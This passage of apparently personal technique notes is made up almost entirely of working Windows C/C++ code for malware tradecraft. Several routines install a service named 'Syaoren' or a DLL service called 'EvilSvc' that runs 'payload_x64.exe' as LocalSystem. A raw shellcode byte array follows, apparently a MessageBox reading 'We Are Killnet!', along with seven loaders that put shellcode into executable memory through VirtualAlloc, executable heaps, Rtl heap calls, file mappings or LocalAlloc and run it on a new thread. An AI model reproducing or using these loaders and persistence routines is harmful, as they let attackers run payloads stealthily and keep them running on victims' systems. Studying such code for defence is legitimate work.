break; if (!(pZwCreateKey = GetProcAddress(hNtdll, "ZwCreateKey"))) break; if (!(pZwSetValueKey = GetProcAddress(hNtdll, "ZwSetValueKey"))) break; InitUnicodeString(&keyName, keyPath); InitializeObjectAttributes(&objectAttributes, &keyName, OBJ_CASE_INSENSITIVE, NULL, NULL); if(!NT_SUCCESS(status = pZwCreateKey(&hKey, KEY_SET_VALUE, &objectAttributes, 0, NULL, REG_OPTION_NON_VOLATILE, NULL))) BREAK_WITH_STATUS("Failed to create key", status) InitUnicodeString(&valueName, L"ErrorControl"); if(!NT_SUCCESS(status = pZwSetValueKey(hKey, &valueName, 0, REG_DWORD, &error, sizeof(error)))) BREAK_WITH_STATUS("Failed to set error control", status) InitUnicodeString(&valueName, L"ImagePath"); if(!NT_SUCCESS(status = pZwSetValueKey(hKey, &valueName, 0, REG_EXPAND_SZ, imagePath , wcslen(imagePath) * sizeof(*imagePath)))) BREAK_WITH_STATUS("Failed to set image path", status) InitUnicodeString(&valueName, L"ObjectName"); if(!NT_SUCCESS(status = pZwSetValueKey(hKey, &valueName, 0, REG_SZ, objectName , wcslen(objectName) * sizeof(*objectName)))) BREAK_WITH_STATUS("Failed to set object name", status) InitUnicodeString(&valueName, L"Start"); if(!NT_SUCCESS(status = pZwSetValueKey(hKey, &valueName, 0, REG_DWORD, &startType, sizeof(startType)))) BREAK_WITH_STATUS("Failed to set start type", status) InitUnicodeString(&valueName, L"Type"); if(!NT_SUCCESS(status = pZwSetValueKey(hKey, &valueName, 0, REG_DWORD, &serviceType, sizeof(serviceType)))) BREAK_WITH_STATUS("Failed to set service type", status) printf("[+] Create service success!\n"); returnStatus = TRUE; } while (0); if (hNtdll) CloseHandle(hNtdll); if(hKey) RegCloseKey(hKey); return returnStatus; } BOOL InstallService2() { BOOL returnStatus = FALSE; HKEY hKey = NULL; LSTATUS lResult = 0; DWORD disposition = 0, startType = SERVICE_DEMAND_START, serviceType = SERVICE_WIN32_OWN_PROCESS, errorControl = SERVICE_ERROR_NORMAL; CONST WCHAR subKey[] = L"SYSTEM\\CurrentControlSet\\Services\\Syaoren", imagePath[] = L"C:\\Users\\kuzan\\Desktop\\Service.exe", objectName[] = L"LocalSystem"; do { if (ERROR_SUCCESS != RegCreateKeyExW(HKEY_LOCAL_MACHINE, subKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE, NULL, &hKey, &disposition)) break; if (ERROR_SUCCESS != RegSetValueExW(hKey, L"ErrorControl", 0, REG_DWORD, &errorControl, sizeof(errorControl))) break; if (ERROR_SUCCESS != RegSetValueExW(hKey, L"ImagePath", 0, REG_EXPAND_SZ, imagePath, wcslen(imagePath) * sizeof(*imagePath))) break; if (ERROR_SUCCESS != RegSetValueExW(hKey, L"ObjectName", 0, REG_SZ, objectName, wcslen(objectName) * sizeof(*objectName))) break; if (ERROR_SUCCESS != RegSetValueExW(hKey, L"Start", 0, REG_DWORD, &startType, sizeof(startType))) break; if (ERROR_SUCCESS != RegSetValueExW(hKey, L"Type", 0, REG_DWORD, &serviceType, sizeof(serviceType))) break; returnStatus = TRUE; } while (0); RegCloseKey(hKey); return returnStatus; } BOOL InstallService1() { SC_HANDLE hSCM = NULL, hService = NULL; BOOL returnStatus = FALSE; WCHAR path[] = L"C:\\Users\\kuzan\\Desktop\\Service.exe"; SERVICE_DESCRIPTION description = { 0 }; do { if(!(hSCM = OpenSCManagerW(NULL, NULL, SC_MANAGER_CREATE_SERVICE))) BREAK_WITH_ERROR("Failed to open SCM") hService = CreateServiceW(hSCM, L"Syaoren", NULL, SERVICE_CHANGE_CONFIG, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, path, NULL, NULL, NULL, NULL, NULL); if(!hService) BREAK_WITH_ERROR("Failed to create service") printf("[+] Create service success\n"); description.lpDescription = L"Who am i? MRX"; if (!ChangeServiceConfig2W(hService, SERVICE_CONFIG_DESCRIPTION, &description)) BREAK_WITH_ERROR("Failed to set up description") printf("[+] Set description success\n"); returnStatus = TRUE; } while (0); if (hService) CloseServiceHandle(hService); if (hSCM) CloseServiceHandle(hSCM); return returnStatus; } BOOL StartService1() { BOOL returnStatus = FALSE; SC_HANDLE hSCM = NULL, hService = NULL; do { if(!(hSCM = OpenSCManagerW(NULL, NULL, SC_MANAGER_CONNECT))) BREAK_WITH_ERROR("Failed to connect to SCM") if(!(hService = OpenServiceW(hSCM, L"Syaoren", SERVICE_START))) BREAK_WITH_ERROR("Failed to open service") if(!StartServiceW(hService, 0, NULL)) BREAK_WITH_ERROR("Failed to start service") printf("[+] Start service success\n"); returnStatus = TRUE; } while (0); if (hService) CloseServiceHandle(hService); if (hSCM) CloseServiceHandle(hSCM); return returnStatus; } BOOL StopService1() { BOOL returnStatus = FALSE; SC_HANDLE hSCM = NULL, hService = NULL; do { if(!(hSCM = OpenSCManagerW(NULL, NULL, SC_MANAGER_CONNECT))) BREAK_WITH_ERROR("Failed to connect to SCM") if(!(hService = OpenServiceW(hSCM, L"Syaoren", SERVICE_STOP))) BREAK_WITH_ERROR("Failed to open service") if(!ControlService(hService, SERVICE_CONTROL_STOP, &g_Status)) BREAK_WITH_ERROR("Failed to stop service") printf("[+] Stop service success\n"); returnStatus = TRUE; } while (0); if (hService) CloseServiceHandle(hService); if (hSCM) CloseServiceHandle(hSCM); return returnStatus; } BOOL EnumService() { BOOL returnStatus = FALSE; SC_HANDLE hSCM = NULL, hService = NULL; LPENUM_SERVICE_STATUS_PROCESS serviceStatus = NULL; DWORD bufferSize = 0, servicesReturned = 0, resumeHandle = 0, error = 0; do { if (!(hSCM = OpenSCManagerW(NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE))) BREAK_WITH_ERROR("Failed to open SCM") EnumServicesStatusExW(hSCM, SC_ENUM_PROCESS_INFO, SERVICE_WIN32, SERVICE_INACTIVE, NULL, 0, &bufferSize, &servicesReturned, &resumeHandle, NULL); error = GetLastError(); if(ERROR_MORE_DATA != error) BREAK_WITH_ERROR("Failed to extract required size of buffer") serviceStatus = malloc(bufferSize); if(!EnumServicesStatusExW(hSCM, SC_ENUM_PROCESS_INFO, SERVICE_WIN32, SERVICE_INACTIVE, serviceStatus, bufferSize, &bufferSize, &servicesReturned, &resumeHandle, NULL)) BREAK_WITH_ERROR("Failed to enumerate service") printf("[+] Service reuturned: %d\n", servicesReturned); for (DWORD i = 0; i < servicesReturned; i++) { printf("[+] %ws (%ws)\n", serviceStatus[i].lpDisplayName, serviceStatus[i].lpServiceName); } returnStatus = TRUE; } while (0); if (hSCM) CloseServiceHandle(hSCM); if (serviceStatus) free(serviceStatus); return returnStatus; } BOOL UninstallService1() { BOOL returnStatus = FALSE; SERVICE_STATUS status = { 0 }; SC_HANDLE hSCM = NULL, hService = NULL; do { if(!(hSCM = OpenSCManagerW(NULL, NULL, SC_MANAGER_CONNECT))) BREAK_WITH_ERROR("Failed to connect to SCM") if(!(hService = OpenServiceW(hSCM, L"Syaoren", DELETE | SERVICE_QUERY_STATUS))) BREAK_WITH_ERROR("Failed to open service") if(QueryServiceStatus(hService, &status) && status.dwCurrentState == SERVICE_RUNNING) StopService1(); if (!DeleteService(hService)) BREAK_WITH_ERROR("Failed to uninstall service") printf("[+] Uninstall service success\n"); returnStatus = TRUE; } while (0); if (hService) CloseServiceHandle(hService); if (hSCM) CloseServiceHandle(hSCM); return returnStatus; } VOID RunPayload() { WCHAR appPath[] = L"C:\\Users\\kuzan\\Desktop\\payload_x64.exe"; HANDLE hProcess; PROCESS_INFORMATION pi; STARTUPINFOW si; RtlZeroMemory(&pi, sizeof(pi)); RtlZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); if(!CreateProcessW(appPath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) return; WaitForSingleObject(pi.hProcess, INFINITE); CloseHandle(pi.hThread); CloseHandle(pi.hProcess); } VOID SetStatus(DWORD status) { g_Status.dwCurrentState = status; g_Status.dwControlsAccepted = status == SERVICE_RUNNING ? SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN : 0; SetServiceStatus(g_hService, &g_Status); } VOID WINAPI SyaorenHandler(DWORD dwControl) { switch (dwControl) { case SERVICE_CONTROL_STOP: SetStatus(SERVICE_STOP_PENDING); SetEvent(g_hStopEvent); break; case SERVICE_CONTROL_SHUTDOWN: SetStatus(SERVICE_STOP_PENDING); SetEvent(g_hStopEvent); break; } return; } VOID WINAPI SyaorenMain(DWORD dwNumServiceArgs, LPWSTR* lpServiceArgVectors) { RtlZeroMemory(&g_Status, sizeof(g_Status)); g_Status.dwServiceType = SERVICE_WIN32_OWN_PROCESS; BOOL error = TRUE; HANDLE hThread; DWORD threadId; do { if(!(g_hService = RegisterServiceCtrlHandlerW(L"Syaoren", SyaorenHandler))) break; if(!(g_hStopEvent = CreateEventW(NULL, FALSE, FALSE, NULL))) break; SetStatus(SERVICE_START_PENDING); RunPayload(); error = TRUE; } while (0); if (!error) { SetStatus(SERVICE_STOPPED); } SetStatus(SERVICE_RUNNING); while (WAIT_TIMEOUT == WaitForSingleObject(g_hStopEvent, 1000)); SetStatus(SERVICE_STOPPED); if(g_hStopEvent) CloseHandle(g_hStopEvent); } ``` :diamond_shape_with_a_dot_inside: **DLL Service** ```cpp= #include "pch.h" #define SVCNAME TEXT("EvilSvc") SERVICE_STATUS serviceStatus; SERVICE_STATUS_HANDLE serviceStatusHandle; HANDLE stopEvent = NULL; VOID UpdateServiceStatus(DWORD currentState) { serviceStatus.dwCurrentState = currentState; SetServiceStatus(serviceStatusHandle, &serviceStatus); } DWORD ServiceHandler(DWORD controlCode, DWORD eventType, LPVOID eventData, LPVOID context) { switch (controlCode) { case SERVICE_CONTROL_STOP: serviceStatus.dwCurrentState = SERVICE_STOPPED; SetEvent(stopEvent); break; case SERVICE_CONTROL_SHUTDOWN: serviceStatus.dwCurrentState = SERVICE_STOPPED; SetEvent(stopEvent); break; case SERVICE_CONTROL_PAUSE: serviceStatus.dwCurrentState = SERVICE_PAUSED; break; case SERVICE_CONTROL_CONTINUE: serviceStatus.dwCurrentState = SERVICE_RUNNING; break; case SERVICE_CONTROL_INTERROGATE: break; default: break; } UpdateServiceStatus(SERVICE_RUNNING); return NO_ERROR; } VOID RunPayload() { WCHAR appPath[] = L"C:\\Users\\kuzan\\Desktop\\payload_x64.exe"; HANDLE hProcess; PROCESS_INFORMATION pi; STARTUPINFOW si; RtlZeroMemory(&pi, sizeof(pi)); RtlZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); if (!CreateProcessW(appPath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) return; WaitForSingleObject(pi.hProcess, INFINITE); CloseHandle(pi.hThread); CloseHandle(pi.hProcess); } VOID ExecuteServiceCode() { stopEvent = CreateEvent(NULL, TRUE, FALSE, NULL); UpdateServiceStatus(SERVICE_RUNNING); RunPayload(); while (1) { WaitForSingleObject(stopEvent, INFINITE); UpdateServiceStatus(SERVICE_STOPPED); return; } } extern "C" __declspec(dllexport) VOID WINAPI ServiceMain(DWORD argC, LPWSTR * argV) { serviceStatusHandle = RegisterServiceCtrlHandler(SVCNAME, (LPHANDLER_FUNCTION)ServiceHandler); serviceStatus.dwServiceType = SERVICE_WIN32_SHARE_PROCESS; serviceStatus.dwServiceSpecificExitCode = 0; UpdateServiceStatus(SERVICE_START_PENDING); ExecuteServiceCode(); } ``` :::success * OpenSCManager * CreateService * OpenService * StartService * ControlService * ChangeServiceConfig(2) * QueryServiceStatus * EnumServiceStatus * DeleteService * StartServiceCtrlDispatcher * RegisterServiceCtrlHandler * SetServiceStatus * CloserServiceHandle * Nt(Zw)CreateKey * Nt(Zw)SetKeyValue ::: ## Virtual Memory ```cpp= BYTE shellcode[] = "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41" "\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60" "\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72" "\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac" "\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2" "\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48" "\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f" "\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49" "\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01" "\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01" "\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1" "\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41" "\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b" "\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58" "\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" "\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x3e\x48" "\x8d\x8d\x42\x01\x00\x00\x41\xba\x4c\x77\x26\x07\xff\xd5" "\x49\xc7\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x2a\x01\x00" "\x00\x3e\x4c\x8d\x85\x3a\x01\x00\x00\x48\x31\xc9\x41\xba" "\x45\x83\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6" "\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80" "\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89" "\xda\xff\xd5\x57\x65\x20\x41\x72\x65\x20\x4b\x69\x6c\x6c" "\x6e\x65\x74\x21\x00\x53\x79\x61\x6f\x72\x65\x6e\x00\x75" "\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x00"; ``` ### 1. VirtualMemory With Virtual Functions ```cpp= BOOL VirtualMemory2() { BOOL returnStatus = FALSE; LPBYTE mem = NULL; HANDLE hThread = NULL; DWORD oldProtect = 0, threadId = 0; do { if(!(mem = VirtualAlloc(NULL, BUFFER_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE))) BREAK_WITH_ERROR("Failed to allocate memory") RtlCopyMemory(mem, shellcode, sizeof(shellcode)); if (!VirtualProtect(mem, BUFFER_SIZE, PAGE_EXECUTE_READ, &oldProtect)) BREAK_WITH_ERROR("Failed to change protect") if(!(hThread = CreateThread(NULL, 0, mem, NULL, 0, &threadId))) BREAK_WITH_ERROR("Failed to create new thread") WaitForSingleObject(hThread, INFINITE); returnStatus = TRUE; } while (0); if (hThread) CloseHandle(hThread); if (mem) // If using MEM_RELEASE then dwSize field must be 0 VirtualFree(mem, 0, MEM_RELEASE); return returnStatus; } ``` :::success + VirtualAlloc(Ex) + VirtualProtect(Ex) + VirtualQuery(Ex) + ReadProcessMemory + WriteProcessMemory + VirtualFree(Ex) ::: ### 2. VirtualMemory With Native Virtual Functions :::success + Nt(Zw)AllocateVirtualMemory + Nt(Zw)ProtectVirtualMemory + Nt(Zw)QueryVirtualMemory + Nt(Zw)ReadVirtualMemory + Nt(Zw)WriteVirtualMemory + Nt(Zw)FreeVirtualMemory ::: ### 3. VirtualMemory With Heap Functions ```cpp= BOOL VirtualMemory5() { BOOL returnStatus = FALSE; HANDLE hHeap = NULL, hThread = NULL; LPVOID mem = NULL; DWORD threadId; do { if (!(hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, BUFFER_SIZE * 10, BUFFER_SIZE * 20))) BREAK_WITH_ERROR("Failed to create new heap") if(!(mem = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, BUFFER_SIZE))) BREAK_WITH_ERROR("Failed to allocate heap") RtlCopyMemory(mem, shellcode, sizeof(shellcode)); if(!(hThread = CreateThread(NULL, 0, mem, NULL, 0, &threadId))) BREAK_WITH_ERROR("Failed to create new thread") WaitForSingleObject(hThread, INFINITE); returnStatus = TRUE; } while (0); // Use HeapDestroy without HeapFree if (hHeap) HeapDestroy(hHeap); if (hThread) CloseHandle(hThread); return returnStatus; } ``` :::success + HeapCreate + HeapAlloc + HeapReAlloc + HeapFree + HeapDestroy ::: ### 4. VirtualMemory With Native Heap Functions ```cpp= typedef struct _RTL_HEAP_DEFINITION { ULONG Length; ULONG Unknown1; ULONG Unknown2; ULONG Unknown3; ULONG Unknown4; ULONG Unknown5; ULONG Unknown6; ULONG Unknown7; ULONG Unknown8; ULONG Unknown9; ULONG Unknown10; ULONG Unknown11; ULONG Unknown12; } RTL_HEAP_DEFINITION, * PRTL_HEAP_DEFINITION; typedef PVOID (NTAPI* pfnRtlCreateHeap)( IN ULONG Flags, IN PVOID Base OPTIONAL, IN ULONG Reserve OPTIONAL, IN ULONG Commit, IN BOOLEAN Lock OPTIONAL, IN PRTL_HEAP_DEFINITION RtlHeapParams OPTIONAL); typedef PVOID(NTAPI* pfnRtlAllocateHeap)( IN PVOID HeapHandle, IN ULONG Flags, IN ULONG Size); typedef NTSTATUS(NTAPI* pfnRtlDestroyHeap)( IN PVOID HeapHandle); typedef BOOLEAN (NTAPI* pfnRtlFreeHeap)( IN PVOID HeapHandle, IN ULONG Flags OPTIONAL, IN PVOID MemoryPointer); BOOL VirtualMemory4() { BOOL returnStatus = FALSE; HMODULE hNtdll = NULL; DWORD threadId = 0; HANDLE hThread = NULL; PVOID hHeap = NULL, mem = NULL; pfnRtlFreeHeap pRtlFreeHeap = NULL; pfnRtlCreateHeap pRtlCreateHeap = NULL; pfnRtlDestroyHeap pRtlDestroyHeap = NULL; pfnRtlAllocateHeap pRtlAllocateHeap = NULL; hNtdll = GetModuleHandleW(L"ntdll"); pRtlCreateHeap = GetProcAddress(hNtdll, "RtlCreateHeap"); pRtlAllocateHeap = GetProcAddress(hNtdll, "RtlAllocateHeap"); pRtlFreeHeap = GetProcAddress(hNtdll, "RtlFreeHeap"); pRtlDestroyHeap = GetProcAddress(hNtdll, "RtlDestroyHeap"); do { if(!(hHeap = pRtlCreateHeap(HEAP_CREATE_ENABLE_EXECUTE, NULL, 0, 0, NULL, NULL))) BREAK_WITH_ERROR("Failed to create heap") if(!(mem = pRtlAllocateHeap(hHeap, HEAP_NO_SERIALIZE, 4096))) BREAK_WITH_ERROR("Failed to allocate heap") RtlCopyMemory(mem, shellcode, sizeof(shellcode)); if(!(hThread = CreateThread(NULL, 0, mem, NULL, 0, &threadId))) BREAK_WITH_ERROR("Failed to create new thread") WaitForSingleObject(hThread, INFINITE); returnStatus = TRUE; } while (0); if (hThread) CloseHandle(hThread); if (mem) pRtlFreeHeap(hHeap, HEAP_NO_SERIALIZE, mem); if(hHeap) pRtlDestroyHeap(hHeap); return returnStatus; } ``` :::success * RtlCreateHeap * RtlAllocateHeap * RtlReAllocateHeap * RtlFreeHeap * RtlDestroyHeap ::: ### 5. VirtualMemory With File Mapping Functions ```cpp= BOOL VirtualMemory3() { BOOL returnStatus = FALSE; LPBYTE mem = NULL; DWORD threadId = 0; HANDLE hFileMapping = NULL, hThread = NULL; do { if (!(hFileMapping = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, BUFFER_SIZE, L"Local\\SyaorenFile"))) BREAK_WITH_ERROR("Failed to create file mapping") if(!(mem = MapViewOfFile(hFileMapping, FILE_MAP_WRITE, 0, 0, BUFFER_SIZE))) BREAK_WITH_ERROR("Failed to mapping file") RtlCopyMemory(mem, shellcode, sizeof(shellcode)); if (!UnmapViewOfFile(mem)) BREAK_WITH_ERROR("Failed to unmap view of file") if(!(mem = MapViewOfFile(hFileMapping, FILE_MAP_EXECUTE | FILE_MAP_READ, 0, 0, BUFFER_SIZE))) BREAK_WITH_ERROR("Failed to mapping file") if(!(hThread = CreateThread(NULL, 0, mem, NULL, 0, &threadId))) BREAK_WITH_ERROR("Failed to create new thread") WaitForSingleObject(hThread, INFINITE); returnStatus = TRUE; } while (0); if (hThread) CloseHandle(hThread); if (mem) UnmapViewOfFile(mem); if (hFileMapping) CloseHandle(hFileMapping); return returnStatus; } ``` :::success * CreateFileMapping * OpenFileMapping * MapViewOfFile * UnmapViewOfFile ::: ### 6. VirtualMemory With Section Functions :::success + Nt(Zw)CreateSection + Nt(Zw)OpenSection + Nt(Zw)MapViewOfSection + Nt(Zw)UnmapViewOfSection ::: ### 7. VirtualMemory With GlobalAlloc/LocalAlloc ```cpp= BOOL VirtualMemory1() { BOOL returnStatus = FALSE; HLOCAL hMem = NULL; HANDLE hThread = NULL; DWORD threadId = 0, oldProtect = 0; do { if (!(hMem = LocalAlloc(LMEM_ZEROINIT, BUFFER_SIZE * 10))) BREAK_WITH_ERROR("Failed to allocate memory") RtlCopyMemory(hMem, shellcode, sizeof(shellcode)); if(!VirtualProtect(hMem, BUFFER_SIZE, PAGE_EXECUTE_READ, &oldProtect)) BREAK_WITH_ERROR("Failed to change protect") if(!(hThread = CreateThread(NULL, 0, hMem, NULL, 0, &threadId))) BREAK_WITH_ERROR("Failed to create new thread") WaitForSingleObject(hThread, INFINITE); if(!VirtualProtect(hMem, BUFFER_SIZE, PAGE_READWRITE, &oldProtect)) BREAK_WITH_ERROR("Failed to change protect") returnStatus = TRUE; } while (0); if (hThread) CloseHandle(hThread); if(hMem) LocalFree(hMem); return returnStatus; } ``` :::success * LocalAlloc * GlobalAlloc * LocalFree * GlobalFree :::